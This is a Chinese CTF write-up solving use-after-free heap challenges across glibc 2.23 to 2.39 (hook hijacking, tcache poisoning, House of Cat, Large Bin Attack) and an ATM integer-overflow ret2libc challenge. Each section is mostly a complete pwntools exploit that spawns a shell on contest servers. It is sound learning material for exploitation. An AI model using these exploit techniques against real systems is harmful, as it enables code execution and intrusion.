Index
前言
比赛时边打游戏边写题,最后一分钟把ATM写了,2.39的堆是之后复现的。
难度对于新生来说确实可能高了点,但是感觉还行,题目没啥限制,主要考点是不同版本下 Libc 的打法。
Heap 2.23
注:Heap 除了2.29都是一样的代码,无非就是Libc版本不同。所有题目的漏洞都是UAF。因此我一笔带过。
思路
劫持 __malloc_hook 打 one_gadget 。使用 realloc 调整栈帧。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.23', False, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.23-11.3/libc-2.23.so')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x480)
add(1, 0x10)
free(0)
show(0)
libc_base = leak_addr(2, io) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + one_gadget[3]
show_addr('libc_base', libc_base)
show_addr('free_hook', malloc_hook)
show_addr('one_gadget', one_gadget)
show_addr('malloc_hook - 0x23', malloc_hook - 0x23)
add(7, 0x480)
add(2, 0x60)
free(2)
edit(2, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4, b'\x00' * 0xb + p64(one_gadget) + p64(realloc + 6))
add(5, 0x10)
io.interactive()
Heap 2.27
思路
由于多了 Tcache,比 Fastbin 利用起来还方便,直接暴力劫持 __free_hook。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.27', False, 'node2.anna.nssctf.cn', 28835)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.27-1.6/libc-2.27.so')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x480)
add(1, 0x10)
add(8, 0x10)
edit(8, b'/bin/sh\x00')
free(0)
show(0)
libc_base = leak_addr(2, io) - 0x3ebca0
show_addr('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(9, 0x480)
add(2, 0x10)
free(2)
edit(2, p64(free_hook))
add(3, 0x10)
add(4, 0x10)
edit(4, p64(system))
free(8)
io.interactive()
Heap 2.31 (__free_hook)
思路
2.31 新增了 Tcache Bin Count 检测,程序会检测 mp_.tcache_count ,如果数量不对则会报错退出
解决办法也很简单 使用 Double Free 或者再申请一个即可。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.31', False, 'node1.anna.nssctf.cn', 28504)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x480)
add(1, 0x10)
add(6, 0x10)
edit(6, b'/bin/sh\x00')
free(0)
show(0)
libc_base = leak_addr(2, io) - 0x1ecbe0
show_addr('libc_base', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
add(9, 0x480)
add(2, 0x50)
add(3, 0x50)
free(2)
edit(2, p64(0))
free(2)
edit(2, p64(free_hook))
add(4, 0x50)
add(5, 0x50)
edit(5, p64(system))
free(6)
io.interactive()
Heap 2.31 (House of Cat)
思路
打 House of Cat,劫持 _IO_list_all 结构体的 chain 刷新伪造的IO结构体来GetShell。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.31', True, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x480)
add(9, 0x10)
free(0)
show(0)
libc_base = leak_addr(2, io) - 0x1ecbe0
system = libc_base + libc.sym['system']
show_addr('libc_base', libc_base)
fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)
add(6, 0x480)
free(9)
edit(9, b'A' * 8)
show(9)
io.recvuntil(b'A' * 8)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xa
add(10, 0x10)
add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)
Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)
FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)
edit(2, p64(io_list_all))
add(4, 0x120)
add(5, 0x120)
debug(io)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)
print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")
io.sendlineafter(b'>>', b'5')
io.interactive()
Heap 2.35 (House of Cat)
思路
同上,只不过多了 Tcache Key 检测而已,直接泄露位移即可,甚至更方便构造结构体了。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.35', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x480)
add(9, 0x10)
free(0)
show(0)
libc_base = leak_addr(2, io) - 0x21ace0
system = libc_base + libc.sym['system']
show_addr('libc_base', libc_base)
fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)
add(6, 0x480)
free(9)
show(9)
io.recvuntil(b'content : ')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
heap_key = heap_base >> 12
print(hex(heap_key))
add(10, 0x10)
add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)
Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)
FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)
edit(2, p64(heap_key ^ io_list_all))
add(4, 0x120)
add(5, 0x120)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)
print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")
debug(io)
io.sendlineafter(b'>>', b'5')
io.interactive()
Heap 2.39 (House of Cat)
思路
唯一的限制就是限制了只能申请 Large Bin。
通过使用 Large Bin Attack 劫持 _IO_list_all 然后打 House of Cat 即可 GetShell 。
EXP
from PwnModules import *
io, elf = get_utils('./heap_2.39', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.39-8/libc.so.6')
def add(idx, size):
io.sendlineafter(b'>>', b'1')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'size? ', str(size))
def free(idx):
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b'idx? ', str(idx))
def show(idx):
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'idx? ', str(idx))
def edit(idx, content):
io.sendlineafter(b'>>', b'4')
io.sendlineafter(b'idx? ', str(idx))
io.sendlineafter(b'content : ', content)
add(0, 0x450)
add(1, 0x500)
add(2, 0x430)
free(0)
add(3, 0x1000)
show(0)
main_arena = leak_addr(2, io)
libc_base = main_arena - 0x203f20
show_addr('libc_base', libc_base)
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
edit(0, b'A' * 0x10)
show(0)
io.recvuntil(b'content : ')
io.recvuntil(b'A' * 0x10)
heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_addr - 0x20A
show_addr('heap_base', heap_base)
edit(0, p64(main_arena) * 2 + p64(heap_addr) + p64(_IO_list_all - 0x20))
free(2)
add(4, 0x1000)
FakeIoListAddr = heap_base + 0xC00 + 0x10
FakeIoAddr = heap_base + 0x290
show_addr('FakeIoListAddr', FakeIoListAddr)
show_addr('FakeIoAddr', FakeIoAddr)
Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base = p64(FakeIoAddr + 0x120 - 0xa0) # mov rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system) # call qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(FakeIoAddr + 0x30) # mov rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)
Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(FakeIoAddr + 0x40)
FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(FakeIoAddr)
FakeIOFS.chain = p64(FakeIoAddr)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)
add(5, 0x1000)
edit(2, p64(0) * 11 + p64(FakeIoAddr) + p64(0) * 9 + p64(1))
edit(5, Fake_IO_File_Structure)
debug(io)
io.sendlineafter(b'>>', b'5')
io.interactive()
ATM
思路
简单的栈溢出题目,漏洞点位于 deposit
输入 -1 整数溢出,然后输入 5 来获取 printf 的真实地址,通过这个地址来泄露 Libc,打 ret2libc。
EXP
from PwnModules import *
io, elf = get_utils('./ATM', False, 'node2.anna.nssctf.cn', 28777)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')
io.sendlineafter(b'password:\n', b'Decline')
io.sendlineafter(b'4.Exit\n', b'3')
io.sendline(b'-1')
io.sendlineafter(b'4.Exit\n', b'5')
io.recvuntil(b'gift:')
printf_addr = recv_int_addr(io, 14)
show_addr('printf', printf_addr)
aio = libc_search('printf', printf_addr, True)
rdi = 0x401233
ret = 0x40101a
Padding = b'A' * (0x160 + 0x08)
Payload = Padding + p64(ret) + p64(rdi) + p64(aio[2]) + p64(aio[1])
io.send(Payload)
io.interactive()